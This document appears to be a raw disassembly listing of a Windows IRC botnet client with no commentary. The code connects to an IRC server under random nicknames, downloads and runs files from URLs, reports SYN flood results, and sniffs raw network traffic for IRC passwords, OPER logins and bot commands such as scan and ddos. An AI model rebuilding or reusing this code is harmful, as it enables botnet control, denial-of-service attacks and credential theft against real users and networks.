		jmp	short loc_403697
; ---------------------------------------------------------------------------


loc_403704:				; CODE XREF: sub_4034C1+1DAj
					; sub_4034C1+1E3j
		call	esi	; GetTickCount
		push	[ebp+arg_0]
		mov	esi, eax
		sub	esi, dword ptr [ebp+var_8+4]
		call	dword_401144	; closesocket
		xor	edx, edx
		cmp	[ebp+var_C4], edx
		jnz	short loc_403778
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ebp+var_8+4], edx
		lea	eax, [ecx+ecx*4]
		shl	eax, 3
		mov	edi, eax
		shr	edi, 0Ah
		mov	dword ptr [ebp+var_8], edi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], esi
		mov	dword ptr [ebp+var_8+4], edx
		shr	eax, 14h
		fidiv	dword ptr [ebp+var_8]
		fmul	flt_401E48
		fistp	[ebp+var_8]
		push	dword ptr [ebp+var_8]
		push	eax
		push	ecx
		lea	eax, [ebp+var_BC]
		push	esi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aSyn_16sDoneUms ; "[syn:%.16s] done [%ums] [%u packets] [%"...
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40254D


loc_403778:				; CODE XREF: sub_4034C1+38j
					; sub_4034C1+55j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4034C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_403781	proc near		; CODE XREF: sub_4034C1+167p
					; sub_4034C1+18Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	ecx, ecx
		cmp	esi, 2
		jb	short loc_4037A5
		mov	eax, [esp+4+arg_0]
		mov	edx, esi
		push	edi
		shr	edx, 1


loc_403796:				; CODE XREF: sub_403781+1Fj
		movzx	edi, word ptr [eax]
		add	ecx, edi
		inc	eax
		inc	eax
		dec	esi
		dec	esi
		dec	edx
		jnz	short loc_403796
		pop	edi
		jmp	short loc_4037A9
; ---------------------------------------------------------------------------


loc_4037A5:				; CODE XREF: sub_403781+Aj
		mov	eax, [esp+4+arg_0]


loc_4037A9:				; CODE XREF: sub_403781+22j
		test	esi, esi
		pop	esi
		jz	short loc_4037B3
		movzx	eax, byte ptr [eax]
		add	ecx, eax


loc_4037B3:				; CODE XREF: sub_403781+2Bj
		mov	edx, ecx
		and	ecx, 0FFFFh
		shr	edx, 10h
		add	edx, ecx
		mov	eax, edx
		shr	eax, 10h
		add	eax, edx
		not	eax
		retn	8
sub_403781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037CC	proc near		; CODE XREF: sub_4027CB+243p

var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	[ebp+var_210], eax
		mov	eax, [ebp+arg_8]
		push	104h
		mov	[ebp+var_20C], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_208]
		xor	esi, esi
		push	eax
		mov	[ebp+var_214], esi
		call	dword_4010BC	; lstrcpyn
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		push	offset dword_4014B4
		push	offset a_	; "."
		call	dword_401084	; GetTempFileNameA
		push	esi
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_40384E
		push	esi
		push	esi
		call	dword_401064	; CreateThread
		test	eax, eax
		jz	short loc_403849


loc_403837:				; CODE XREF: sub_4037CC+7Bj
		cmp	[ebp+var_214], esi
		jnz	short loc_403849
		push	8
		call	dword_4010D4	; Sleep
		jmp	short loc_403837
; ---------------------------------------------------------------------------


loc_403849:				; CODE XREF: sub_4037CC+69j
					; sub_4037CC+71j
		pop	esi
		leave
		retn	0Ch
sub_4037CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384E	proc near		; DATA XREF: sub_4037CC+5Ao

var_398		= byte ptr -398h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= byte ptr -38Ch
var_288		= byte ptr -288h
var_184		= byte ptr -184h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 398h
		push	edi
		push	offset aUrlmon_dll ; "urlmon.dll"
		call	dword_401060	; LoadLibraryA
		xor	edi, edi
		cmp	eax, edi
		jz	loc_403996
		push	offset aUrldownloadtof ; "URLDownloadToFileA"
		push	eax
		call	dword_40105C	; GetProcAddress
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	loc_403996
		push	esi
		mov	esi, [ebp+arg_0]
		push	214h
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_402E0E
		mov	dword ptr [esi], 1
		call	dword_401068	; GetCurrentThreadId
		cmp	[ebp+var_390], edi
		mov	esi, dword_401110
		mov	[ebp+arg_0], eax
		jnz	short loc_4038E3
		lea	ecx, [ebp+var_288]
		push	ecx
		lea	ecx, [ebp+var_38C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_184]
		push	offset aDl08x_180sTo_1 ; "[dl:%08x] %.180s to %.180s"
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_40254D


loc_4038E3:				; CODE XREF: sub_40384E+67j
		push	edi
		lea	eax, [ebp+var_288]
		push	edi
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		push	edi
		call	[ebp+var_4]
		test	eax, eax
		jnz	short loc_403969
		push	offset dword_401650
		push	offset aD	; "D"
		push	edi
		push	edi
		push	28h
		push	edi
		push	edi
		lea	eax, [ebp+var_288]
		push	edi
		push	eax
		push	edi
		call	dword_4010AC	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_403957
		cmp	[ebp+var_390], edi
		jnz	short loc_403947
		push	[ebp+arg_0]
		lea	eax, [ebp+var_184]
		push	offset aDl08x	; "[dl:%08x] :)"
		push	eax
		call	esi	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_40254D


loc_403947:				; CODE XREF: sub_40384E+D7j
		cmp	[ebp+var_394], 1
		jnz	short loc_403991
		call	sub_40224E
		jmp	short loc_403991
; ---------------------------------------------------------------------------


loc_403957:				; CODE XREF: sub_40384E+CFj
		cmp	[ebp+var_390], edi
		jnz	short loc_403991
		push	[ebp+arg_0]
		push	offset aDl08xExec ; "[dl:%08x] :( exec"
		jmp	short loc_403979
; ---------------------------------------------------------------------------


loc_403969:				; CODE XREF: sub_40384E+ABj
		cmp	[ebp+var_390], edi
		jnz	short loc_403991
		push	[ebp+arg_0]
		push	offset aDl08xDl	; "[dl:%08x] :(	dl"


loc_403979:				; CODE XREF: sub_40384E+119j
		lea	eax, [ebp+var_184]
		push	eax
		call	esi	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_40254D


loc_403991:				; CODE XREF: sub_40384E+100j
					; sub_40384E+107j ...
		xor	eax, eax
		pop	esi
		jmp	short loc_403998
; ---------------------------------------------------------------------------


loc_403996:				; CODE XREF: sub_40384E+19j
					; sub_40384E+30j
		xor	eax, eax


loc_403998:				; CODE XREF: sub_40384E+146j
		pop	edi
		leave
		retn	4
sub_40384E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399D	proc near		; CODE XREF: sub_4027CB+203p

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		xor	ebx, ebx
		cmp	dword_401A98, ebx
		push	esi
		jz	short loc_403A25
		push	20h
		push	[ebp+arg_0]
		call	sub_402E2E
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_403A25
		push	40h
		lea	eax, [ebp+var_44]
		push	[ebp+arg_0]
		mov	[esi], bl
		inc	esi
		push	eax
		call	dword_4010BC	; lstrcpyn
		mov	word ptr [ebp+var_4], bx


loc_4039D5:				; CODE XREF: sub_40399D+57j
		cmp	[esi], bl
		jz	short loc_4039F6
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*4]
		shl	eax, 1
		mov	word ptr [ebp+var_4], ax
		movzx	cx, byte ptr [esi]
		sub	ecx, 30h
		add	ax, cx
		inc	esi
		mov	word ptr [ebp+var_4], ax
		jmp	short loc_4039D5
; ---------------------------------------------------------------------------


loc_4039F6:				; CODE XREF: sub_40399D+3Aj
		push	ebx
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		push	offset sub_403A7A
		push	ebx
		push	ebx
		mov	[ebp+var_48], ebx
		mov	dword_401A98, ebx
		call	dword_401064	; CreateThread
		test	eax, eax
		jz	short loc_403A25


loc_403A16:				; CODE XREF: sub_40399D+86j
		cmp	[ebp+var_48], ebx
		jnz	short loc_403A25
		push	8
		call	dword_4010D4	; Sleep
		jmp	short loc_403A16
; ---------------------------------------------------------------------------


loc_403A25:				; CODE XREF: sub_40399D+10j
					; sub_40399D+20j ...
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40399D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A2B	proc near		; CODE XREF: sub_4027CB:loc_402857p
		mov	dword_401A98, 1
		retn
sub_403A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A36	proc near		; CODE XREF: sub_4027CB+A4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword_401A98, 1
		jz	short locret_403A76
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset a_500s	; "%.500s\n"
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 0Ch
		push	0
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	dword_4014B8
		call	dword_401134	; send

locret_403A76:				; CODE XREF: sub_403A36+10j
		leave
		retn	4
sub_403A36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A7A	proc near		; DATA XREF: sub_40399D+5Fo

var_58C		= byte ptr -58Ch
var_18C		= byte ptr -18Ch
var_8C		= byte ptr -8Ch
var_88		= byte ptr -88h
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 58Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	11h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_8C]
		rep movsd
		mov	ebx, dword_4010B4
		movsw
		mov	dword ptr [eax], 1
		call	ebx	; GetTickCount
		mov	esi, eax
		shr	eax, 1
		mov	edi, eax
		and	esi, 3
		shr	eax, 1
		and	eax, 3
		and	edi, 3
		add	eax, 4
		add	esi, 5
		add	edi, 4
		mov	[ebp+var_4], eax
		call	ebx	; GetTickCount
		xor	ebx, ebx
		mov	ecx, eax
		cmp	esi, ebx
		mov	[ebp+arg_0], ebx
		jbe	short loc_403AF5


loc_403AD0:				; CODE XREF: sub_403A7A+77j
		xor	ecx, 96F050F2h
		push	1Ah
		mov	eax, ecx
		xor	edx, edx
		pop	ebx
		div	ebx
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		add	dl, 61h
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], esi
		mov	[ebp+eax+var_44], dl
		jb	short loc_403AD0
		xor	ebx, ebx


loc_403AF5:				; CODE XREF: sub_403A7A+54j
		mov	eax, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, ebx
		mov	[ebp+eax+var_44], bl
		jbe	short loc_403B21


loc_403B02:				; CODE XREF: sub_403A7A+A3j
		xor	ecx, 78D6BA83h
		push	1Ah
		mov	eax, ecx
		xor	edx, edx
		pop	ebx
		div	ebx
		shr	ecx, 1
		add	dl, 61h
		mov	[ebp+esi+var_24], dl
		inc	esi
		cmp	esi, edi
		jb	short loc_403B02
		xor	ebx, ebx


loc_403B21:				; CODE XREF: sub_403A7A+86j
		mov	[ebp+esi+var_24], bl
		xor	esi, esi
		cmp	[ebp+var_4], ebx
		jbe	short loc_403B4A


loc_403B2C:				; CODE XREF: sub_403A7A+CEj
		xor	ecx, 0D9503521h
		push	1Ah
		mov	eax, ecx
		xor	edx, edx
		pop	edi
		div	edi
		shr	ecx, 1
		add	dl, 61h
		mov	[ebp+esi+var_34], dl
		inc	esi
		cmp	esi, [ebp+var_4]
		jb	short loc_403B2C


loc_403B4A:				; CODE XREF: sub_403A7A+B0j
		push	6
		push	1
		push	2
		mov	[ebp+esi+var_34], bl
		call	dword_401128	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_4014B8, eax
		jz	loc_403C9B
		push	[ebp+var_48]
		mov	[ebp+var_14], 2
		call	dword_40115C	; htons
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_88]
		push	eax
		call	dword_401120	; inet_addr
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword_4014B8
		call	dword_401130	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C9B
		lea	eax, [ebp+var_34]
		mov	esi, dword_401110
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	offset aUser_16s_16s_1 ; "USER %.16s \"\" \"%.16s\" %.16s\n"
		push	eax
		call	esi	; wsprintfA
		add	esp, 14h
		mov	edi, dword_401134
		push	ebx
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		push	dword_4014B8
		call	edi	; send
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_18C]
		push	offset dword_401A9C
		push	eax
		call	esi	; wsprintfA
		add	esp, 0Ch
		push	ebx
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		push	dword_4014B8
		call	edi	; send


loc_403C09:				; CODE XREF: sub_403A7A+1CFj
					; sub_403A7A+1F3j
		xor	esi, esi


loc_403C0B:				; CODE XREF: sub_403A7A+210j
		cmp	dword_401A98, ebx
		jnz	short loc_403C8F
		mov	eax, 400h
		push	ebx
		sub	eax, esi
		push	eax
		lea	eax, [ebp+esi+var_58C]
		push	eax
		push	dword_4014B8
		call	dword_401140	; recv
		cmp	eax, ebx
		jle	short loc_403C8F
		add	esi, eax
		lea	edi, [ebp+var_58C]
		mov	[ebp+esi+var_58C], bl
		cmp	[ebp+var_58C], bl
		jz	short loc_403C09


loc_403C4B:				; CODE XREF: sub_403A7A+1F1j
		push	0Dh
		push	edi
		call	sub_402E2E
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403C6F
		push	edi
		mov	[eax], bl
		call	sub_403CA4
		mov	eax, [ebp+arg_0]
		cmp	[eax+2], bl
		lea	edi, [eax+2]
		jnz	short loc_403C4B
		jmp	short loc_403C09
; ---------------------------------------------------------------------------


loc_403C6F:				; CODE XREF: sub_403A7A+1DEj
		lea	eax, [ebp+var_58C]
		sub	eax, edi
		add	esi, eax
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_58C]
		push	edi
		push	eax
		call	sub_402E0E
		jmp	loc_403C0B
; ---------------------------------------------------------------------------


loc_403C8F:				; CODE XREF: sub_403A7A+197j
					; sub_403A7A+1B8j
		push	dword_4014B8
		call	dword_401144	; closesocket


loc_403C9B:				; CODE XREF: sub_403A7A+E8j
					; sub_403A7A+126j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_403A7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CA4	proc near		; CODE XREF: sub_403A7A+1E3p

var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	byte ptr [edi],	3Ah
		jnz	short loc_403CCF
		inc	edi
		push	20h
		push	edi
		call	sub_402E2E
		mov	edi, eax
		test	edi, edi
		jz	loc_403D76
		and	byte ptr [edi],	0
		inc	edi


loc_403CCF:				; CODE XREF: sub_403CA4+12j
		push	20h
		push	edi
		call	sub_402E2E
		mov	esi, eax
		test	esi, esi
		jz	loc_403D76
		mov	ebx, dword_4010B0
		and	byte ptr [esi],	0
		push	offset aPing	; "PING"
		push	edi
		call	ebx	; lstrcmp
		test	eax, eax
		jnz	short loc_403CFF
		inc	esi
		push	esi
		push	offset aPong_500s_0 ; "PONG %.500s\r\n"
		jmp	short loc_403D50
; ---------------------------------------------------------------------------


loc_403CFF:				; CODE XREF: sub_403CA4+50j
		push	offset a433	; "433"
		push	edi
		call	ebx	; lstrcmp
		test	eax, eax
		jnz	short loc_403D76
		mov	edi, dword_4010B4
		call	edi	; GetTickCount
		mov	esi, eax
		and	esi, 3
		add	esi, 5
		call	edi	; GetTickCount
		xor	ecx, ecx
		mov	edi, eax
		test	esi, esi
		jbe	short loc_403D42


loc_403D25:				; CODE XREF: sub_403CA4+9Cj
		xor	edi, 54287D75h
		push	1Ah
		mov	eax, edi
		xor	edx, edx
		pop	ebx
		div	ebx
		shr	edi, 1
		add	dl, 61h
		mov	[ebp+ecx+var_10], dl
		inc	ecx
		cmp	ecx, esi
		jb	short loc_403D25


loc_403D42:				; CODE XREF: sub_403CA4+7Fj
		and	[ebp+ecx+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_401A9C


loc_403D50:				; CODE XREF: sub_403CA4+59j
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 0Ch
		push	0
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	dword_4014B8
		call	dword_401134	; send


loc_403D76:				; CODE XREF: sub_403CA4+21j
					; sub_403CA4+37j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D7D	proc near		; CODE XREF: sub_4027CB:loc_4029B6p
		cmp	dword_401AD8, 1
		jnz	short locret_403D9D
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	offset sub_403DA9
		push	eax
		push	eax
		mov	dword_401AD8, eax
		call	dword_401064	; CreateThread

locret_403D9D:				; CODE XREF: sub_403D7D+7j
		retn
sub_403D7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D9E	proc near		; CODE XREF: sub_4027CB+3Ep
		mov	dword_401AD8, 1
		retn
sub_403D9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DA9	proc near		; DATA XREF: sub_403D7D+Eo

var_1D0		= byte ptr -1D0h
var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1D0h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	[ebp+var_14], edi
		push	dword_4014BC
		call	dword_401138	; getsockname
		cmp	eax, 0FFFFFFFFh
		jz	loc_403FF0
		xor	esi, esi
		push	esi
		push	3
		push	2
		mov	[ebp+var_2E], si
		call	dword_401128	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_18], ebx
		jz	loc_403FF0
		lea	eax, [ebp+var_30]
		push	edi
		push	eax
		push	ebx
		call	dword_401150	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403E2E
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_1C]
		push	4
		push	eax
		push	98000001h
		push	ebx
		mov	[ebp+var_1C], 1
		call	dword_401154	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403E3A


loc_403E2E:				; CODE XREF: sub_403DA9+5Dj
		push	ebx
		call	dword_401144	; closesocket
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403E3A:				; CODE XREF: sub_403DA9+83j
		push	10000h
		push	esi
		call	dword_40108C	; GlobalAlloc
		cmp	dword_401AD8, esi
		mov	edi, eax
		jnz	loc_403FE9
		jmp	short loc_403E59
; ---------------------------------------------------------------------------


loc_403E56:				; CODE XREF: sub_403DA9+23Aj
		mov	ebx, [ebp+var_18]


loc_403E59:				; CODE XREF: sub_403DA9+ABj
		push	esi
		push	10000h
		push	edi
		push	ebx
		call	dword_401140	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_403FDD
		cmp	byte ptr [edi+9], 6
		jnz	loc_403FDD
		mov	bl, [edi]
		and	ebx, 0Fh
		shl	ebx, 2
		cmp	ebx, 3Ch
		ja	loc_403FDD
		mov	ax, [edi+2]
		push	eax
		call	dword_401158	; htons
		movzx	ecx, byte ptr [ebx+edi+0Ch]
		lea	esi, [ebx+edi]
		shr	ecx, 4
		movzx	eax, ax
		lea	ebx, [ebx+ecx*4]
		cmp	ebx, eax
		mov	[ebp+var_10], ebx
		jnb	loc_403FDB
		sub	eax, ebx
		mov	ebx, dword_401158
		mov	[ebp+var_8], eax
		mov	ax, [esi]
		push	eax
		call	ebx	; htons
		mov	[ebp+var_4], eax
		mov	ax, [esi+2]
		push	eax
		call	ebx	; htons
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], eax
		cmp	cx, 50h
		jz	loc_403FDB
		cmp	ax, 50h
		jz	loc_403FDB
		cmp	cx, 19h
		jz	loc_403FDB
		cmp	ax, 19h
		jz	loc_403FDB
		cmp	cx, 6Eh
		jz	loc_403FDB
		cmp	ax, 6Eh
		jz	loc_403FDB
		cmp	cx, 8Bh
		jz	loc_403FDB
		cmp	ax, 8Bh
		jz	loc_403FDB
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_8]
		xor	ecx, ecx
		lea	esi, [eax+edi]
		and	byte ptr [esi+edx], 0
		test	edx, edx
		jbe	short loc_403F5B


loc_403F37:				; CODE XREF: sub_403DA9+1B0j
		mov	al, [ecx+esi]
		test	al, al
		jz	loc_403FDB
		cmp	al, 7Fh
		jg	loc_403FDB
		cmp	al, 0Dh
		jz	short loc_403F52
		cmp	al, 0Ah
		jnz	short loc_403F56


loc_403F52:				; CODE XREF: sub_403DA9+1A3j
		mov	byte ptr [ecx+esi], 20h


loc_403F56:				; CODE XREF: sub_403DA9+1A7j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403F37


loc_403F5B:				; CODE XREF: sub_403DA9+18Cj
		push	offset dword_401CB0
		push	esi
		call	sub_402E46
		test	eax, eax
		jnz	short loc_403FDB
		push	esi
		call	sub_403FF9
		cmp	eax, 1
		jnz	short loc_403FDB
		push	dword ptr [edi+0Ch]
		call	dword_40111C	; inet_ntoa
		test	eax, eax
		jz	short loc_403FDB
		mov	ebx, dword_4010BC
		push	10h
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	ebx	; lstrcpyn
		push	dword ptr [edi+10h]
		call	dword_40111C	; inet_ntoa
		test	eax, eax
		jz	short loc_403FDB
		push	10h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	ebx	; lstrcpyn
		movzx	eax, word ptr [ebp+var_C]
		push	esi
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_1D0]
		push	offset a_16sHu_16sHu_2 ; "[%.16s:%hu->%.16s:%hu] \"%.256s\""
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 1Ch
		lea	eax, [ebp+var_1D0]
		push	eax
		call	sub_40254D


loc_403FDB:				; CODE XREF: sub_403DA9+103j
					; sub_403DA9+12Ej ...
		xor	esi, esi


loc_403FDD:				; CODE XREF: sub_403DA9+C1j
					; sub_403DA9+CBj ...
		cmp	dword_401AD8, esi
		jz	loc_403E56


loc_403FE9:				; CODE XREF: sub_403DA9+A5j
		push	edi
		call	dword_401088	; GlobalFree


loc_403FF0:				; CODE XREF: sub_403DA9+29j
					; sub_403DA9+48j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_403DA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FF9	proc near		; CODE XREF: sub_403DA9+1C2p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		and	[ebp+var_4], 0
		mov	eax, offset a_332? ; "*:*.* 332	* #* :?* *"
		mov	ecx, eax
		push	esi
		test	ecx, ecx
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], offset aPrivmsg? ; "*PRIVMSG * :?* *"
		mov	[ebp+var_2C], offset a?login ; "* :?login * *"
		mov	[ebp+var_28], offset a?set ; "*	:?set *	* *"
		mov	[ebp+var_24], offset a?Scan ; "* :?*scan* *"
		mov	[ebp+var_20], offset a?Syn ; "*	:?*syn*	*"
		mov	[ebp+var_1C], offset a?Udp ; "*	:?*udp*	*"
		mov	[ebp+var_18], offset a?Ddos ; "* :?*ddos* *"
		mov	[ebp+var_14], offset aUser? ; "USER ?* "
		mov	[ebp+var_10], offset aPass? ; "PASS ?* "
		mov	[ebp+var_C], offset aOper?? ; "OPER ?* ?* *"
		mov	[ebp+var_8], offset aJoin ; "JOIN #* *"
		jz	short loc_40407A
		lea	esi, [ebp+var_34]


loc_404062:				; CODE XREF: sub_403FF9+7Fj
		push	[ebp+arg_0]
		push	eax
		call	sub_403185
		cmp	eax, 1
		jz	short loc_404081
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_404062


loc_40407A:				; CODE XREF: sub_403FF9+64j
		xor	eax, eax


loc_40407C:				; CODE XREF: sub_403FF9+8Bj
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404081:				; CODE XREF: sub_403FF9+75j
		push	1
		pop	eax
		jmp	short loc_40407C
sub_403FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404086	proc near		; CODE XREF: sub_4027CB+1E1p

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	100h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_100]
		xor	esi, esi
		push	eax
		mov	[ebp+var_104], esi
		call	dword_4010BC	; lstrcpyn
		push	esi
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	offset sub_4040DE
		push	esi
		push	esi
		call	dword_401064	; CreateThread
		test	eax, eax
		jz	short loc_4040D9


loc_4040C7:				; CODE XREF: sub_404086+51j
		cmp	[ebp+var_104], esi
		jnz	short loc_4040D9
		push	8
		call	dword_4010D4	; Sleep
		jmp	short loc_4040C7
; ---------------------------------------------------------------------------


loc_4040D9:				; CODE XREF: sub_404086+3Fj
					; sub_404086+47j
		pop	esi
		leave
		retn	4
sub_404086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040DE	proc near		; DATA XREF: sub_404086+30o

var_254		= byte ptr -254h
var_154		= byte ptr -154h
var_54		= dword	ptr -54h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	100h
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+var_154]
		push	eax
		call	dword_4010BC	; lstrcpyn
		push	1
		lea	eax, [ebp+var_154]
		pop	esi
		push	3Ah
		push	eax
		mov	[edi], esi
		call	sub_402E2E
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_404213
		mov	[eax], bl
		inc	eax
		xor	edi, edi


loc_404125:				; CODE XREF: sub_4040DE+59j
		mov	cl, [eax]
		cmp	cl, bl
		jz	short loc_404139
		movzx	cx, cl
		lea	edx, [edi+edi*4]
		inc	eax
		lea	edi, [ecx+edx*2-30h]
		jmp	short loc_404125
; ---------------------------------------------------------------------------


loc_404139:				; CODE XREF: sub_4040DE+4Bj
		lea	eax, [ebp+var_154]
		push	eax
		call	dword_401120	; inet_addr
		push	edi
		mov	[ebp+var_C], eax
		call	dword_40115C	; htons
		cmp	[ebp+var_C], ebx
		mov	edi, dword_401144
		push	ebx
		push	ebx
		push	ebx
		push	6
		push	esi
		mov	[ebp+var_E], ax
		mov	[ebp+var_10], 2
		push	2
		jnz	short loc_40419F
		call	dword_401118	; WSASocketA
		mov	esi, eax
